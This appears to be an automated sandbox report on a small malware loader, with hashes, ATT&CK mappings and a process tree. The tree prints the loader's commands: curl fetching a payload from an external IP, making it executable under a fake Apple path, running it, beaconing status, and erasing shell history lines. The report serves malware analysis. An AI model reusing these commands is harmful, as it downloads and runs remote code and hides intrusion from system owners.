7ff9996f280041c5101ad2cc08e35d684beba96ebb42ede861c694ef8c7eaa80

Analysis

max time kernel
14s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/07/2026, 23:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d3c3af271f44279
Size 4KB
Sample260713-267dfacw71
SHA256 7ff9996f280041c5101ad2cc08e35d684beba96ebb42ede861c694ef8c7eaa80
MD5 372668f20e9512d117c9585e4c547e01
SHA1 832645c933d3f38cb0f4b3b26d36918d7410e723
SHA512 29f924a2b43eb0c28ee54c319019368b4b8dd83f2865ea381385336e952745e000339346ebad7ee2b7aae006c446c8c1d33a1f19eb8512c3cd61d3a7333c0bac
SSDEEP 96:Ej0WfNmgtV00pg1QxVr+Qy0Ppf+dJdyrU2:EjFmgnbg1QTSQ9kdJwJ
TLSH
T10B912EF7F8602331768D407E785952802F872CBF66E979649003FC29746C4ACB67E27A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
762	chmod
790	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/root/Library/Caches/com.apple.frameworks/com.apple.periodic	794	0d3c3af271f44279

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
696	sed

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
683	base64
667	base64

Checks CPU configuration 1 TTPs 5 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/145/status	pkill
File opened for reading	/proc/572/status	pkill
File opened for reading	/proc/640/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/283/status	pkill
File opened for reading	/proc/572/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/276/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/160/status	pkill
File opened for reading	/proc/283/cmdline	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/557/cmdline	pkill
File opened for reading	/proc/575/status	pkill
File opened for reading	/proc/673/cmdline	pkill
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/275/status	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/109/cmdline	pkill
File opened for reading	/proc/181/status	pkill
File opened for reading	/proc/181/cmdline	pkill
File opened for reading	/proc/212/status	pkill
File opened for reading	/proc/291/status	pkill
File opened for reading	/proc/313/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/287/status	pkill
File opened for reading	/proc/584/status	pkill
File opened for reading	/proc/628/cmdline	pkill
File opened for reading	/proc/634/cmdline	pkill
File opened for reading	/proc/637/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/99/cmdline	pkill
File opened for reading	/proc/673/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/304/cmdline	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/99/status	pkill
File opened for reading	/proc/169/status	pkill
File opened for reading	/proc/583/status	pkill
File opened for reading	/proc/630/status	pkill
File opened for reading	/proc/2/status	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.Z6jTodAZYH/.KLWYjF	curl

/tmp/0d3c3af271f44279
/tmp/0d3c3af271f44279
1⤵
- Executes dropped EXE
PID:637
- /sbin/sysctl
  sysctl -n hw.memsize
  2⤵
  - Reads CPU attributes
  PID:646
- /usr/bin/whoami
  whoami
  2⤵
  PID:656
- /bin/uname
  uname -r
  2⤵
  PID:661
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:667
- /bin/mktemp
  mktemp -d
  2⤵
  PID:669
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.frameworks
  2⤵
  PID:671
- /usr/bin/head
  head -c 32
  2⤵
  PID:676
- /usr/bin/pkill
  pkill -9 -f com.apple.periodic
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:678
- /bin/sleep
  sleep 0.4
  2⤵
  PID:679
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:683
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:685
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:687
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:686
- /bin/uname
  uname -m
  2⤵
  PID:689
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"bbec94afc3f167fe\",\"src\":\"http://95.163.152.169/c699d7ee5fd?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:688
- /usr/bin/head
  head -c 32
  2⤵
  PID:692
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  - Reads runtime system information
  PID:694
- /usr/bin/curl
  curl -kfsSL "http://95.163.152.169/6c7201e105118e7?force=1" -o /tmp/tmp.Z6jTodAZYH/.KLWYjF
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:695
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  PID:696
- /usr/bin/head
  head -1
  2⤵
  PID:699
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:700
- /bin/uname
  uname -r
  2⤵
  PID:702
- /usr/bin/head
  head -1
  2⤵
  PID:705
- /usr/bin/wc
  wc -c
  2⤵
  PID:706
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_ok\",\"rid\":\"bbec94afc3f167fe\",\"src\":\"http://95.163.152.169/c699d7ee5fd?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  PID:757
- /bin/chmod
  chmod +x /tmp/tmp.Z6jTodAZYH/.KLWYjF
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /bin/cp
  cp /tmp/tmp.Z6jTodAZYH/.KLWYjF /root/Library/Caches/com.apple.frameworks/com.apple.periodic
  2⤵
  - Reads runtime system information
  PID:766
- /bin/chmod
  chmod +x /root/Library/Caches/com.apple.frameworks/com.apple.periodic
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_start\",\"rid\":\"bbec94afc3f167fe\",\"src\":\"http://95.163.152.169/c699d7ee5fd?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  PID:793
- /bin/sleep
  sleep 3
  2⤵
  PID:795
- /root/Library/Caches/com.apple.frameworks/com.apple.periodic
  /root/Library/Caches/com.apple.frameworks/com.apple.periodic
  2⤵
  PID:794
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_fail\",\"rid\":\"bbec94afc3f167fe\",\"m\":{\"exit\":\"126\"}}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:797
- /bin/rm
  rm -rf /tmp/tmp.Z6jTodAZYH
  2⤵
  PID:798

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Unsecured Credentials

T1552

Bash History

T1552.003

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.KLWYjF

Path /tmp/tmp.Z6jTodAZYH/.KLWYjF
Size 47.8MB
SHA256 64270d192001ae3e4e41853142537e44b6bde7864640a3d370bf2f9adf1e5019
MD5 30212359c64ce2d40be12616d4ae8fc9
SHA1 66988fe28a2470af9d3f7549cc7ddca21d3467c6
SHA512 719103860e11b050ca41774782f43312e21e5a72a5035ce0ecac6914030f99f8126efd1402deaec8f9310cdb64c9f9e4e2508a3c57dc1c74ec8f3bbdd8216a79
SSDEEP 393216:KggDponyEKKGt71RZB6nQODriiM/b+FtaLNhfbkiAv:KfOyEtGt71vBt+2NhfQ
TLSH
T1C1B75CD3E8A22A94C4AA8375D165425FF7613C0D0B3823E716A0FB241F37BE4AA77715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads